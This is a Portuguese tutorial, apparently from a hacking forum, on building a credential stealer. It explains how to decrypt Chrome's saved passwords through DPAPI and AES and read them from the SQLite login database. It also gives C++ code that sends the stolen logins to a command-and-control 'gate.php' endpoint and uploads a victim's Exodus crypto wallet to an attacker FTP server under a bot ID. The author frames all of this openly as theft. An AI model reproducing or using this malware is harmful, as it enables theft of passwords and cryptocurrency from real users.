chrome gere a chave aes e, em seguida, criptografe-a com (DPAPI) API de proteção de dados da Microsoft por motivos de segurança, depois codifique a chave AES criptografada com base64 e armazene-a em (Arquivo de estado local) o local padrão para este arquivo é: %LOCALAPPDATA% \Google\Chrome\Dados do usuário\Estado local.
Portanto, para descriptografar os logins e cookies, precisamos reverter todas essas etapas descritas abaixo.
Discutindo cada função
GetBrowserPath():
Esta função é usada para recuperar o caminho do navegador de LOCALAPPDATA
dinamicamente, para que não tornemos o caminho estático.
Portanto, obtemos o caminho e o copiamos usando strcpy (também podemos usar strcpy_s ). e salvá-los na variável local para que possamos acessá-lo mais tarde
DecodeBase64Key ():
Esta função é usada para obter o caminho temporário para copiar o arquivo de estatísticas locais para a causa temporária quando o chrome é aberto, não podemos acessar o arquivo de estado local, então copiamos para o caminho temporário e lemos a cópia cat Então
nós analisamos os dados json e quando obtivemos a chave base64, nós a decodificamos e salvamos na variável local Chamada criptografadaMasterKey e o tamanho, salvamos em EncryptedMasterKeyLength Espero que você entenda
Classes
DecryptMasterKey():
Aqui estamos descriptografando a chave mestra que decodificamos da base64 na função DecodeBase64Key()
Usando a função da WINAPI chamada CryptUnprotectData() .
Deixe-me dizer-lhe esta função como funciona e o que faz em poucas linhas.
De forma muito simples, a função CryptUnprotectData Descriptografa os dados que são descriptografados pela função CryptProtectData.
Essas duas funções, para descriptografar e descriptografar, usam as informações do usuário de login para concluir o processo. Portanto, se tivermos 2 usuários no mesmo PC, digamos que o primeiro uso seja o User1 e o segundo é User2
Portanto, use apenas um para descriptografar os dados criptografados com suas credenciais e ele não pode descriptografar nenhum dado criptografado quando o User2 estava conectado, mesmo os dois usuários no mesmo PC e talvez a mesma pessoa esteja usando os mesmos usuários.
É por isso que não apenas roubamos a chave criptografada e o arquivo de login e os descriptografamos em nossa nuvem, claro, será um pouco mais rápido, mas agora você conhece o problema.
Mas espere antes de descriptografar a chave, precisamos remover as primeiras 5 palavras e são DPAPI
Depois disso, descriptografamos a chave e a armazenamos na variável local chamada DecryptedMasterKey
As 2 funções AesDecrypt e DecryptPassword usadas para iniciar as funções openssl e usam a função decrypt para descriptografar o AES
Você também pode ler mais sobre SSL no site oficial openssl.org
EVP_CIPHER_CTX_new () cria um contexto de cifra.
EVP_DecryptInit_ex(),
EVP_DecryptUpdate() e EVP_DecryptFinal_ex()
são as operações de descriptografia correspondentes.
DecryptLoginData ():
Nesta função, obtemos o caminho temporário novamente como fizemos acima, mas desta vez copiaremos o arquivo de dados de login e neste arquivo temos todos os dados armazenados
E este é um banco de dados SQLite, então usaremos a biblioteca sqlite para fazer uma conexão com o banco de dados
SELECT action_url, username_value, password_value FROM logins
Esta linha é uma consulta muito básica que dizemos ao banco de dados que obtemos
action_url, username_value, password_value da tabela de logins
Como no mysql e você verá isso na seção php
Depois de obter as linhas, passamos o valor criptografado para a função DecryptPassword e, claro, o valor criptografado é o valor mais sensível e é a SENHA
E a função quando a senha descriptografada é armazenada na variável decryptedpassword que passamos por referência para que possamos ler o descriptografado de fora da própria função que
usamos strcat para tornar os logs bonitos e legíveis para sabermos qualquer e-mail e senha para qual domínio usado
Em seguida, salvamos todos os dados de login na variável Buffer
Por fim, apenas codificamos o Buffer (LOGS) em Base64 para carregá-los por HTTP usando uma função que será descrita abaixo.
Voltar para a função principal:
adicione este código que cria um novo objeto da classe de navegadores e descreve o nome do navegador para pesquisar e também executar o funções de criptografia/descriptografia
C++:Copiar para área de transferência
ChromuimBrowsers* Chrome = new ChromuimBrowsers();
Chrome->GetBrowserPath("chrome");
Chrome->DecodeBase64Key();
Chrome->DecryptMasterKey();
Chrome->DecryptLoginData();
HttpClient->TransfeerStealedData(BotId, Chrome->Buffer);
Pronto, pessoal, roubamos o login do navegador e a carteira criptográfica Exodus. Agora, enviaremos os dados roubados para o nosso servidor e usaremos os IDs exclusivos gerados pela CLOUD e retornados como eco para especificar esses dados roubados de qual BOT!
Agora vamos usar a função TransfeerStealedData() da classe httpc2c e fazer upload
A função TransfeerStealedData() é muito simples, basta usar os dados do navegador roubados codificados em base64 para carregá-los em nosso servidor
Passando-os como arags também passando o ID exclusivo
Agora para fazer o upload os dados do perfil Crypto usarão função diferente, usarão wininet e FTP para carregar os dados.
Por que FTP e por que Wininet? ftp é útil e fácil de carregar dados e também para se familiarizar com diferentes funções e bibliotecas WINAPI
Então adicionarei o seguinte código em ftph
C++:Copiar para área de transferência
#pragma once
#include "common.h"
class ftp
{
public:
void TransfeerExodusWallet(std::string BotId, char* CompressWalletPath);
};
E o seguinte código em ftpcpp
C++:Copiar para área de transferência
#include "ftp.h"
#include "httpc2c.h"
void ftp::TransfeerExodusWallet(std::string BotId, char* CompressWalletPath)
{
// Upload the exodus wallet compressed file as base64 encoded
int iResult = 0;
WSADATA wsData;
struct addrinfo* result = NULL, * ptr = NULL, hints;
SOCKET connSocket = SOCKET_ERROR;
ZeroMemory(&hints, sizeof hints);
iResult = WSAStartup(MAKEWORD(2, 2), &wsData);
if (iResult != 0)
exit(1);
iResult = getaddrinfo(HOST, PORT, &hints, &result);
if (iResult != 0)
exit(1);
ptr = result;
connSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (connSocket == INVALID_SOCKET)
exit(1);
iResult = connect(connSocket, ptr->ai_addr, ptr->ai_addrlen);
if (connSocket == SOCKET_ERROR)
exit(1);
/* transfeer stealed data */
char* botData;
botData = (char*)malloc(1000);
strcpy(botData, "{\"action\":\"initcryptowallet\"");
strcat(botData, ",\"botid\":\"");
strcat(botData, BotId.c_str());
strcat(botData, "\"");
strcat(botData, "}");
int botDatacommendLength = strlen(botData);
char StringbotDataCommendLength[200];
itoa(botDatacommendLength, StringbotDataCommendLength, 10);
char* HttpDatav2;
HttpDatav2 = (char*)malloc(botDatacommendLength + 5000);
strcpy(HttpDatav2, "POST /xssstealer/gate.php HTTP/1.0\r\n");
strcat(HttpDatav2, "Host: ");
strcat(HttpDatav2, HOST);
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\r\n");
strcat(HttpDatav2, "Content-Type: text/html\r\n");
strcat(HttpDatav2, "Content-Length: ");
strcat(HttpDatav2, StringbotDataCommendLength);
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, "Accept-Charset: utf-8\r\n");
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, botData);
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, "\r\n");
iResult = send(connSocket, HttpDatav2, strlen((const char*)HttpDatav2), 0);
if (iResult == SOCKET_ERROR)
exit(1);
// recive section
char* rData;
rData = (char*)malloc(4096);
iResult = recv(connSocket, (char*)rData, 4096, 0);
if (iResult == SOCKET_ERROR)
exit(1);
std::string bot_ftp_file_path = HttpParser(rData);
closesocket(connSocket);
WSACleanup();
//char* Fbot_ftp_file_path;
//Fbot_ftp_file_path = (char*)malloc(strlen(bot_ftp_file_path.c_str()) + 100);
//strcpy(Fbot_ftp_file_path, bot_ftp_file_path.c_str());
//strcat(Fbot_ftp_file_path, "/");
//strcat(Fbot_ftp_file_path, "exodus.php");
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hFtpSession = InternetConnectA(hInternet, HOST, INTERNET_DEFAULT_FTP_PORT, FTPUSER, FTPPASS, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); // Starts a session in this case an FTP session
if (hInternet == NULL)
{
std::cout << "InternetOpenA error " << GetLastError() << std::endl;
}
if (hFtpSession == NULL)
{
std::cout << "hFtpSession error " << GetLastError() << std::endl;
}
BOOL Set = FtpSetCurrentDirectoryA(hFtpSession, bot_ftp_file_path.c_str());
if (Set == TRUE)
{
std::cout << "Success" << std::endl;
}
if (FtpPutFileA(hFtpSession, CompressWalletPath, "love.tar", FTP_TRANSFER_TYPE_UNKNOWN, 0) == FALSE)
{
std::cout << "Faild" << std::endl;
exit(1);
}
else
{
std::cout << "Success" << std::endl;
//exit(1);
}
if (GetLastError() == ERROR_FTP_TRANSFER_IN_PROGRESS)
{
std::cout << " ERROR_FTP_TRANSFER_IN_PROGRESS " << std::endl;
}
//std::cout << CompressWalletPath << std::endl;
//std::cout << Fbot_ftp_file_path << std::endl;
//std::cout << "Getlasterror() " << GetLastError() << std::endl;
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
}
O código acima usa a Biblioteca Wininet no modo Passivo para poder fazer o upload do arquivo para o servidor e também usamos o Winsock para initcryptowallet e retornar o diretório de upload para usá-lo no cliente FTP senha para anexos: h1z1 Tudo bem,
finalizamos o
cliente Código, até agora estude o código com cuidado, faça perguntas se precisar de ajuda